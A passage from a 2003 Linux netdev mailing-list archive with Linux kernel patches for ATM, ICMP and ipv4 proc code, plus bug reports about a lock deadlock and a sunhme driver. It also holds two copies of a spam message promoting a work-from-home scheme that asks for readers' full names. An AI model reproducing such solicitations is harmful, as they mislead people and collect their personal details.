*shrug* Entirely untested. regards john diff -Naurp -X dontdiff linux-cvs/net/atm/br2684.c linux-fixes/net/atm/br2684.c --- linux-cvs/net/atm/br2684.c 2003-09-05 07:06:15.000000000 +0100 +++ linux-fixes/net/atm/br2684.c 2003-09-05 18:55:15.000000000 +0100 @@ -732,8 +732,8 @@ static int br2684_seq_show(struct seq_fi #ifdef CONFIG_ATM_BR2684_IPFILTER #define b1(var, byte) ((u8 *) &brvcc->filter.var)[byte] #define bs(var) b1(var, 0), b1(var, 1), b1(var, 2), b1(var, 3) - if (brvcc->filter.netmask != 0 && pos-- == 0) - return sprintf(buf, " filter=%d.%d.%d.%d/" + if (brvcc->filter.netmask != 0) + seq_printf(seq, " filter=%d.%d.%d.%d/" "%d.%d.%d.%d\n", bs(prefix), bs(netmask)); #undef bs #undef b1 From q@kampsax.dtu.dk Sat Sep 6 05:30:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 05:31:19 -0700 (PDT) Received: from minuspol.k-net.dk (minuspol.k-net.dtu.dk [130.225.71.251]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h86CUTx4020195 for ; Sat, 6 Sep 2003 05:30:30 -0700 Received: from carlsberg.kampsax.dtu.dk (carlsberg.kampsax.dtu.dk [192.38.212.2]) by minuspol.k-net.dk (Postfix) with SMTP id CFDA53164F for ; Sat, 6 Sep 2003 14:30:27 +0200 (CEST) Received: (qmail 3703 invoked from network); 6 Sep 2003 12:30:27 -0000 Received: from carlsberg.kampsax.dtu.dk (HELO carlsberg) (q@192.38.212.2) by carlsberg.kampsax.dtu.dk with SMTP; 6 Sep 2003 12:30:27 -0000 Date: Sat, 6 Sep 2003 14:30:27 +0200 (CEST) From: =?iso-8859-1?Q?Dennis_J=F8rgensen?= To: "David S. Miller" Cc: Subject: Re: Trivial fix for wrong error message from icmp.c (2.6.0-test4) In-Reply-To: <20030905024736.4acefe68.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id h86CUTx4020195 X-archive-position: 5667 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: q@kampsax.dtu.dk Precedence: bulk X-list: netdev On Fri, 5 Sep 2003, David S. Miller wrote: > On Thu, 04 Sep 2003 02:26:42 +0200 > Dennis Jørgensen wrote: > > > Should I post this somewhere else/to someone else, please let me know, I > > couldn't find a FAQ for the list. > > You're posting it to the correct place, but your patch does not > apply because your mail client has turned all the tabs in the > patch into spaces. That wasn't very nice of it. > I can't apply this patch until you fix that up. It should be better now. Sorry for the inconvenience. Dennis Jørgensen --- linux-2.6.0-test4.org/net/ipv4/icmp.c 2003-08-28 01:13:59.000000000 +0200 +++ linux-2.6.0-test4/net/ipv4/icmp.c 2003-08-28 02:12:56.000000000 +0200 @@ -661,7 +661,7 @@ printk(KERN_WARNING "%u.%u.%u.%u sent an invalid ICMP " "type %u, code %u " "error to a broadcast: %u.%u.%u.%u on %s\n", - NIPQUAD(iph->saddr), + NIPQUAD(skb->nh.iph->saddr), icmph->type, icmph->code, NIPQUAD(iph->daddr), skb->dev->name); From juergen.nagler@informatik.uni-ulm.de Sat Sep 6 12:18:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 12:19:02 -0700 (PDT) Received: from mail.informatik.uni-ulm.de (ns.informatik.uni-ulm.de [134.60.68.63]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h86JIrx4020667 for ; Sat, 6 Sep 2003 12:18:54 -0700 Received: from p5091488d.dip0.t-ipconnect.de ([80.145.72.141] helo=informatik.uni-ulm.de) by mail.informatik.uni-ulm.de with esmtp (Exim 3.36 #1) id 19viaA-0000mn-00 for netdev@oss.sgi.com; Sat, 06 Sep 2003 21:18:50 +0200 Message-ID: <3F5A32F6.9060109@informatik.uni-ulm.de> Date: Sat, 06 Sep 2003 21:18:14 +0200 From: =?ISO-8859-1?Q?J=FCrgen_Nagler-Ihlein?= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: de-de, de, en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Who is responsable for this server? X-Enigmail-Version: 0.76.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-archive-position: 5668 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: juergen.nagler@informatik.uni-ulm.de Precedence: bulk X-list: netdev After I tried sending a mail to ecartis@oss.sgi.com for some weeks now and got no response I finally sent to postmaster@oss.sgi.com. But even this wasn't a valid address. So please tell me who's responsable for this ecartis server and will answer all my mails which were only autoresponded with "The post has been forwarded to the list administrator" Thanks in advance Jürgen Nagler-Ihlein From daniele@justmailz.com Sat Sep 6 15:06:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 15:06:54 -0700 (PDT) Received: from host (customer-203-168-22-32.ph.inter.net [203.168.22.32] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h86M6Dx4027868 for ; Sat, 6 Sep 2003 15:06:18 -0700 Received: from localhost ([203.168.22.32]) by host with Microsoft SMTPSVC(5.0.2195.5329); Sun, 7 Sep 2003 05:51:33 -0700 X-Sender: daniele@justmailz.com From: Daniele To: netdev@oss.sgi.com Date: Sun, 07 Sep 2003 05:51:33 -0700 Subject: Simple, Reliable and Online Home Business! Reply-To: dvallestero@yahoo.com MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Message-ID: X-OriginalArrivalTime: 07 Sep 2003 12:51:33.0909 (UTC) FILETIME=[C458EC50:01C3753E] X-archive-position: 5669 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: daniele@justmailz.com Precedence: bulk X-list: netdev Hello, GREETINGS! First, I hope my message finds you doing well, I know you want to know how did I get your mail address, so let me tell you first I am totaly respecting your privacy and I am sorry if this message bothered you. I got your e-mail address from one of these sources : *you may a member at the same safe-list as I. *you may a member of the same interest groups (yahoo,msn,ICQ,lycos) as I. *we have exchanged messages at the past . Note: If you have already received this message from me before and responded it before then please ignore it and accept my apology. We all know that people earn their living at a job... and 8 hour job... they get up early, commute to work and back, it's a routinary thing for a common person, and still their income often falls well below their needs. Today we all aware that there are plenty of opportunities by just working at home, yes, it's possible with the power of the internet. If I can show you a way to earn a living at home with a great home-based business, using a simple, reliable, online business-building system, would you take a minutes to check it out? If you have 2 to 3 hours a day, you will be able to earn a full income in a few months. And there is absolutely no limit as how much you can earn. It is designed to gain momentum after some time. But I prefer to avoid such statements as "You will get rich". I read it everywhere and I do not want to sound like them. Just take a test drive for free and you may cancel anytime you want if you feel it is not for you. Send an email to danbizopt@netscape.net and put "Free Sign UP" in the subject and your fullname in the body of your email. You can also use another e-mail address for signing as a FREE Member of our opportunity. If so, please indicate your chosen e-mail address and i'll arrange for your FREE Membership using that new e-mail address. If you want also to have an unlimited ISP connection with a very minimal monthly for only US$14.95 or less? Be a free member and I will show you the way. Best regards, Daniele Vallestero From daniele@justmailz.com Sat Sep 6 15:11:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 15:12:23 -0700 (PDT) Received: from host (customer-203-168-22-32.ph.inter.net [203.168.22.32] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h86MBdx4030149 for ; Sat, 6 Sep 2003 15:11:47 -0700 Received: from localhost ([203.168.22.32]) by host with Microsoft SMTPSVC(5.0.2195.5329); Sun, 7 Sep 2003 06:01:31 -0700 X-Sender: daniele@justmailz.com From: Daniele To: netdev@oss.sgi.com Date: Sun, 07 Sep 2003 06:01:31 -0700 Subject: Simple, Reliable and Online Home Business! Reply-To: dvallestero@yahoo.com MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Message-ID: X-OriginalArrivalTime: 07 Sep 2003 13:01:31.0261 (UTC) FILETIME=[28659AD0:01C37540] X-archive-position: 5670 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: daniele@justmailz.com Precedence: bulk X-list: netdev Hello, GREETINGS! First, I hope my message finds you doing well, I know you want to know how did I get your mail address, so let me tell you first I am totaly respecting your privacy and I am sorry if this message bothered you. I got your e-mail address from one of these sources : *you may a member at the same safe-list as I. *you may a member of the same interest groups (yahoo,msn,ICQ,lycos) as I. *we have exchanged messages at the past . Note: If you have already received this message from me before and responded it before then please ignore it and accept my apology. We all know that people earn their living at a job... and 8 hour job... they get up early, commute to work and back, it's a routinary thing for a common person, and still their income often falls well below their needs. Today we all aware that there are plenty of opportunities by just working at home, yes, it's possible with the power of the internet. If I can show you a way to earn a living at home with a great home-based business, using a simple, reliable, online business-building system, would you take a minutes to check it out? If you have 2 to 3 hours a day, you will be able to earn a full income in a few months. And there is absolutely no limit as how much you can earn. It is designed to gain momentum after some time. But I prefer to avoid such statements as "You will get rich". I read it everywhere and I do not want to sound like them. Just take a test drive for free and you may cancel anytime you want if you feel it is not for you. Send an email to danbizopt@netscape.net and put "Free Sign UP" in the subject and your fullname in the body of your email. You can also use another e-mail address for signing as a FREE Member of our opportunity. If so, please indicate your chosen e-mail address and i'll arrange for your FREE Membership using that new e-mail address. If you want also to have an unlimited ISP connection with a very minimal monthly for only US$14.95 or less? Be a free member and I will show you the way. Best regards, Daniele Vallestero From akpm@osdl.org Sat Sep 6 18:46:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 18:46:50 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h871kHx4016546 for ; Sat, 6 Sep 2003 18:46:18 -0700 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id h871k2o29760; Sat, 6 Sep 2003 18:46:02 -0700 Date: Sat, 6 Sep 2003 18:47:15 -0700 From: Andrew Morton To: Anton Blanchard Cc: jeremy@goop.org, linux-kernel@vger.kernel.org, bos@serpentine.com, netdev@oss.sgi.com Subject: Re: 2.6.0-test4-mm6: locking imbalance with rtnl_lock/unlock? Message-Id: <20030906184715.38bf70d9.akpm@osdl.org> In-Reply-To: <20030906222436.GB15327@krispykreme> References: <1062885603.24475.7.camel@ixodes.goop.org> <20030906222436.GB15327@krispykreme> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5671 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Anton Blanchard wrote: > > > > which is SIOCGIFADDR. It seems to me the down() is actually the > > rtnl_lock() called at net/ipv4/devinet.c:536 in devinet_ioctl. This > > happens even when netplugd is no longer running. It looks like someone > > isn't releasing the lock. > > > > I'm going over all the uses of rtnl_lock() to see if I can find a > > problem, but no sign yet. I wonder if someone might have broken this > > recently: I'm running 2.6.0-test4-mm6, but I think Bryan is running an > > older kernel (2.6.0-test4?), and hasn't seen any problems. > > Yep I saw this too when updating from test2 to BK from a few days ago. > >From memory the cpu that had the rtnl_lock was stuck in dev_close, > probably netif_poll_disable. I got side tracked and wasnt able to look > into it. If the caller of netif_poll_disable() has a signal pending, netif_poll_disable() becomes a busy loop, which might be causing a lockup. Probably not, but it needs to use TASK_UNINTERRUPTIBLE. I doubt if that explains Jeremy's deadlock though... From mitch@sfgoth.com Sat Sep 6 21:23:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 21:24:35 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h874Nsx4023493 for ; Sat, 6 Sep 2003 21:23:54 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h874VqkV038433; Sat, 6 Sep 2003 21:31:52 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h874Vq91038432; Sat, 6 Sep 2003 21:31:52 -0700 (PDT) (envelope-from mitch) Date: Sat, 6 Sep 2003 21:31:51 -0700 From: Mitchell Blank Jr To: sparclinux@vger.kernel.org Cc: netdev@oss.sgi.com Subject: sunhme stopped working somewhere in 2.6.0-test4 Message-ID: <20030907043151.GB33595@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 5672 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev I had been running 2.6.0-test4 on my Ultra 10 for the last week without problems. Tonight I tried upgrading it to 2.6.0-test4-bk8 (which works fine on my i386 test box) and the builtin sunhme card no longer functions. When you try to do a "ifconfig eth0 up" I get the following on this console... happy meal: Aieee, transceiver MIF write bolixed happy meal: Aieee, transceiver MIF read bolixed ...and the operation fails. It looks like there's been a number of changes to sunhme in the last week (ethtool stuff, maybe some other things).... does anyone have a hunch what I should try to change (or has this already been fixed in BK perhaps?) -Mitch From mitch@sfgoth.com Sat Sep 6 21:37:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Sep 2003 21:37:56 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h874b5x4030180 for ; Sat, 6 Sep 2003 21:37:05 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h874j1kV038692; Sat, 6 Sep 2003 21:45:01 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h874j1I2038691; Sat, 6 Sep 2003 21:45:01 -0700 (PDT) (envelope-from mitch) Date: Sat, 6 Sep 2003 21:45:01 -0700 From: Mitchell Blank Jr To: sparclinux@vger.kernel.org Cc: netdev@oss.sgi.com Subject: Re: sunhme stopped working somewhere in 2.6.0-test4 Message-ID: <20030907044501.GC33595@gaz.sfgoth.com> References: <20030907043151.GB33595@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030907043151.GB33595@gaz.sfgoth.com> User-Agent: Mutt/1.4.1i X-archive-position: 5673 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Mitchell Blank Jr wrote: > ...and the operation fails. It looks like there's been a number of changes > to sunhme in the last week (ethtool stuff, maybe some other things).... BTW, it turns out that this stuff is NOT the problem; I just tried copying the 2.6.0-test4 version of sunhme.c into my tree (and verified that I now have driver version "2.01" instead of "2.02" in dmesg), but I still have the same problem. So something broke, but I guess the problem is deeper... -Mitch From chas@cmf.nrl.navy.mil Sun Sep 7 05:03:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Sep 2003 05:03:48 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h87C38x4000334 for ; Sun, 7 Sep 2003 05:03:08 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h84JHrSa020864; Thu, 4 Sep 2003 15:17:53 -0400 (EDT) Message-Id: <200309041917.h84JHrSa020864@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com, levon@movementarian.org Subject: [PATCH][ATM] a few patches from John Levon Reply-To: chas3@users.sourceforge.net Date: Thu, 04 Sep 2003 15:17:55 -0400 From: chas williams X-Spam-Score: () hits=-2.1 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5674 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev In message <20030904022700.GA67203@compsoc.man.ac.uk>,John Levon writes: >Kconfig in 2.6 seems to let ATM be compiled as a module, but the >proto_ops and net_proto_family ops won't be refcounted. I haven't >tested, but it looks to me like this would allow a rmmod on live code. # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1420 -> 1.1421 # net/atm/pvc.c 1.20 -> 1.21 # net/atm/svc.c 1.24 -> 1.25 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/04 chas@relax.cmf.nrl.navy.mil 1.1421 # [ATM]: pvc/svc missing .owner for proto_ops/family (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/net/atm/pvc.c b/net/atm/pvc.c --- a/net/atm/pvc.c Thu Sep 4 15:03:08 2003 +++ b/net/atm/pvc.c Thu Sep 4 15:03:08 2003 @@ -104,6 +104,7 @@ static struct proto_ops pvc_proto_ops = { .family = PF_ATMPVC, + .owner = THIS_MODULE, .release = vcc_release, .bind = pvc_bind, @@ -134,6 +135,7 @@ static struct net_proto_family pvc_family_ops = { .family = PF_ATMPVC, .create = pvc_create, + .owner = THIS_MODULE, }; diff -Nru a/net/atm/svc.c b/net/atm/svc.c --- a/net/atm/svc.c Thu Sep 4 15:03:08 2003 +++ b/net/atm/svc.c Thu Sep 4 15:03:08 2003 @@ -513,6 +513,7 @@ static struct proto_ops svc_proto_ops = { .family = PF_ATMSVC, + .owner = THIS_MODULE, .release = svc_release, .bind = svc_bind, @@ -549,6 +550,7 @@ static struct net_proto_family svc_family_ops = { .family = PF_ATMSVC, .create = svc_create, + .owner = THIS_MODULE, }; In message <20030904073612.GA79992@compsoc.man.ac.uk>,John Levon writes: >Here's an updated patch. # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1421 -> 1.1422 # net/atm/common.c 1.49 -> 1.50 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/04 chas@relax.cmf.nrl.navy.mil 1.1422 # [ATM]: fix atm_dev module refcount bug (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Thu Sep 4 14:58:58 2003 +++ b/net/atm/common.c Thu Sep 4 14:58:58 2003 @@ -422,26 +422,31 @@ } if (!error) error = adjust_tp(&vcc->qos.txtp,vcc->qos.aal); if (!error) error = adjust_tp(&vcc->qos.rxtp,vcc->qos.aal); - if (error) { - vcc_remove_socket(vcc->sk); - return error; - } + if (error) + goto fail; DPRINTK("VCC %d.%d, AAL %d\n",vpi,vci,vcc->qos.aal); DPRINTK(" TX: %d, PCR %d..%d, SDU %d\n",vcc->qos.txtp.traffic_class, vcc->qos.txtp.min_pcr,vcc->qos.txtp.max_pcr,vcc->qos.txtp.max_sdu); DPRINTK(" RX: %d, PCR %d..%d, SDU %d\n",vcc->qos.rxtp.traffic_class, vcc->qos.rxtp.min_pcr,vcc->qos.rxtp.max_pcr,vcc->qos.rxtp.max_sdu); - if (!try_module_get(dev->ops->owner)) - return -ENODEV; + if (!try_module_get(dev->ops->owner)) { + error = -ENODEV; + goto fail; + } + if (dev->ops->open) { - error = dev->ops->open(vcc,vpi,vci); - if (error) { - module_put(dev->ops->owner); - vcc_remove_socket(vcc->sk); - return error; - } + if ((error = dev->ops->open(vcc,vpi,vci))) + goto put_module_fail; } return 0; + +put_module_fail: + module_put(dev->ops->owner); +fail: + vcc_remove_socket(vcc->sk); + /* ensure we get dev module ref count correct */ + vcc->dev = NULL; + return error; } In message <20030904085844.GA87022@compsoc.man.ac.uk>,John Levon writes: >This re-arranges things a bit to remove some clutter from the .c >code as per preferred coding style. Against current Linus CVS. [editor's note: i added the /* nothing */ in the empty inline stubs to hopefully reduce any confusion.] # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1419 -> 1.1420 # net/atm/proc.c 1.25 -> 1.26 # net/atm/common.h 1.18 -> 1.19 # net/atm/resources.h 1.10 -> 1.11 # net/atm/resources.c 1.16 -> 1.17 # net/atm/common.c 1.48 -> 1.49 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/04 chas@relax.cmf.nrl.navy.mil 1.1420 # [ATM]: reduce CONFIG_PROC_FS #ifdef clutter in .c code (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Thu Sep 4 14:35:33 2003 +++ b/net/atm/common.c Thu Sep 4 14:35:33 2003 @@ -1109,12 +1109,10 @@ printk(KERN_ERR "atmsvc_init() failed with %d\n", error); goto failure; } -#ifdef CONFIG_PROC_FS if ((error = atm_proc_init()) < 0) { printk(KERN_ERR "atm_proc_init() failed with %d\n",error); goto failure; } -#endif return 0; failure: @@ -1125,9 +1123,7 @@ static void __exit atm_exit(void) { -#ifdef CONFIG_PROC_FS atm_proc_exit(); -#endif atmsvc_exit(); atmpvc_exit(); } diff -Nru a/net/atm/common.h b/net/atm/common.h --- a/net/atm/common.h Thu Sep 4 14:35:33 2003 +++ b/net/atm/common.h Thu Sep 4 14:35:33 2003 @@ -33,8 +33,21 @@ void atmpvc_exit(void); int atmsvc_init(void); void atmsvc_exit(void); + +#ifdef CONFIG_PROC_FS int atm_proc_init(void); void atm_proc_exit(void); +#else +static inline int atm_proc_init(void) +{ + return 0; +} + +static inline void atm_proc_exit(void) +{ + /* nothing */ +} +#endif /* CONFIG_PROC_FS */ /* SVC */ diff -Nru a/net/atm/proc.c b/net/atm/proc.c --- a/net/atm/proc.c Thu Sep 4 14:35:33 2003 +++ b/net/atm/proc.c Thu Sep 4 14:35:33 2003 @@ -895,6 +895,10 @@ int digits,num; int error; + /* No proc info */ + if (!dev->ops->proc_read) + return 0; + error = -ENOMEM; digits = 0; for (num = dev->number; num; num /= 10) digits++; @@ -920,6 +924,9 @@ void atm_proc_dev_deregister(struct atm_dev *dev) { + if (!dev->ops->proc_read) + return; + remove_proc_entry(dev->proc_name, atm_proc_root); kfree(dev->proc_name); } diff -Nru a/net/atm/resources.c b/net/atm/resources.c --- a/net/atm/resources.c Thu Sep 4 14:35:33 2003 +++ b/net/atm/resources.c Thu Sep 4 14:35:33 2003 @@ -110,20 +110,16 @@ list_add_tail(&dev->dev_list, &atm_devs); spin_unlock(&atm_dev_lock); -#ifdef CONFIG_PROC_FS - if (ops->proc_read) { - if (atm_proc_dev_register(dev) < 0) { - printk(KERN_ERR "atm_dev_register: " - "atm_proc_dev_register failed for dev %s\n", - type); - spin_lock(&atm_dev_lock); - list_del(&dev->dev_list); - spin_unlock(&atm_dev_lock); - __free_atm_dev(dev); - return NULL; - } + if (atm_proc_dev_register(dev) < 0) { + printk(KERN_ERR "atm_dev_register: " + "atm_proc_dev_register failed for dev %s\n", + type); + spin_lock(&atm_dev_lock); + list_del(&dev->dev_list); + spin_unlock(&atm_dev_lock); + __free_atm_dev(dev); + return NULL; } -#endif return dev; } @@ -133,10 +129,8 @@ { unsigned long warning_time; -#ifdef CONFIG_PROC_FS - if (dev->ops->proc_read) - atm_proc_dev_deregister(dev); -#endif + atm_proc_dev_deregister(dev); + spin_lock(&atm_dev_lock); list_del(&dev->dev_list); spin_unlock(&atm_dev_lock); diff -Nru a/net/atm/resources.h b/net/atm/resources.h --- a/net/atm/resources.h Thu Sep 4 14:35:33 2003 +++ b/net/atm/resources.h Thu Sep 4 14:35:33 2003 @@ -29,6 +29,18 @@ int atm_proc_dev_register(struct atm_dev *dev); void atm_proc_dev_deregister(struct atm_dev *dev); -#endif +#else + +static inline int atm_proc_dev_register(struct atm_dev *dev) +{ + return 0; +} + +static inline void atm_proc_dev_deregister(struct atm_dev *dev) +{ + /* nothing */ +} + +#endif /* CONFIG_PROC_FS */ #endif In message <20030904092414.GF87022@compsoc.man.ac.uk>,John Levon writes: >The problem UNUSED solves has been solved in the module_init/exit() >macros for quite some time. # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1421 -> 1.1422 # net/atm/common.c 1.49 -> 1.50 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/04 chas@relax.cmf.nrl.navy.mil 1.1422 # [ATM]: fix atm_dev module refcount bug (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Thu Sep 4 15:14:04 2003 +++ b/net/atm/common.c Thu Sep 4 15:14:04 2003 @@ -422,26 +422,31 @@ } if (!error) error = adjust_tp(&vcc->qos.txtp,vcc->qos.aal); if (!error) error = adjust_tp(&vcc->qos.rxtp,vcc->qos.aal); - if (error) { - vcc_remove_socket(vcc->sk); - return error; - } + if (error) + goto fail; DPRINTK("VCC %d.%d, AAL %d\n",vpi,vci,vcc->qos.aal); DPRINTK(" TX: %d, PCR %d..%d, SDU %d\n",vcc->qos.txtp.traffic_class, vcc->qos.txtp.min_pcr,vcc->qos.txtp.max_pcr,vcc->qos.txtp.max_sdu); DPRINTK(" RX: %d, PCR %d..%d, SDU %d\n",vcc->qos.rxtp.traffic_class, vcc->qos.rxtp.min_pcr,vcc->qos.rxtp.max_pcr,vcc->qos.rxtp.max_sdu); - if (!try_module_get(dev->ops->owner)) - return -ENODEV; + if (!try_module_get(dev->ops->owner)) { + error = -ENODEV; + goto fail; + } + if (dev->ops->open) { - error = dev->ops->open(vcc,vpi,vci); - if (error) { - module_put(dev->ops->owner); - vcc_remove_socket(vcc->sk); - return error; - } + if ((error = dev->ops->open(vcc,vpi,vci))) + goto put_module_fail; } return 0; + +put_module_fail: + module_put(dev->ops->owner); +fail: + vcc_remove_socket(vcc->sk); + /* ensure we get dev module ref count correct */ + vcc->dev = NULL; + return error; } From yoshfuji@linux-ipv6.org Sun Sep 7 11:40:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Sep 2003 11:40:56 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h87IeMx4011212 for ; Sun, 7 Sep 2003 11:40:23 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h87If51M028690; Mon, 8 Sep 2003 03:41:05 +0900 Date: Mon, 08 Sep 2003 03:41:05 +0900 (JST) Message-Id: <20030908.034105.113815606.yoshfuji@linux-ipv6.org> To: davem@redhat.com CC: netdev@oss.sgi.com Subject: [PATCH 2/3] NET: Use proc_net_fops_create() and proc_net_remove() in net/ipv4 From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5676 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev [2/3] Use proc_net_fops_create() and proc_net_remove() in net/ipv4. Index: linux-2.6/net/ipv4/arp.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/arp.c,v retrieving revision 1.27 diff -u -r1.27 arp.c --- linux-2.6/net/ipv4/arp.c 20 Aug 2003 04:27:26 -0000 1.27 +++ linux-2.6/net/ipv4/arp.c 7 Sep 2003 16:51:04 -0000 @@ -1416,14 +1416,9 @@ static int __init arp_proc_init(void) { - int rc = 0; - struct proc_dir_entry *p = create_proc_entry("arp", S_IRUGO, proc_net); - - if (p) - p->proc_fops = &arp_seq_fops; - else - rc = -ENOMEM; - return rc; + if (!proc_net_fops_create("arp", S_IRUGO, &arp_seq_fops)) + return -ENOMEM; + return 0; } #else /* CONFIG_PROC_FS */ Index: linux-2.6/net/ipv4/fib_hash.c =================================================================== RCS 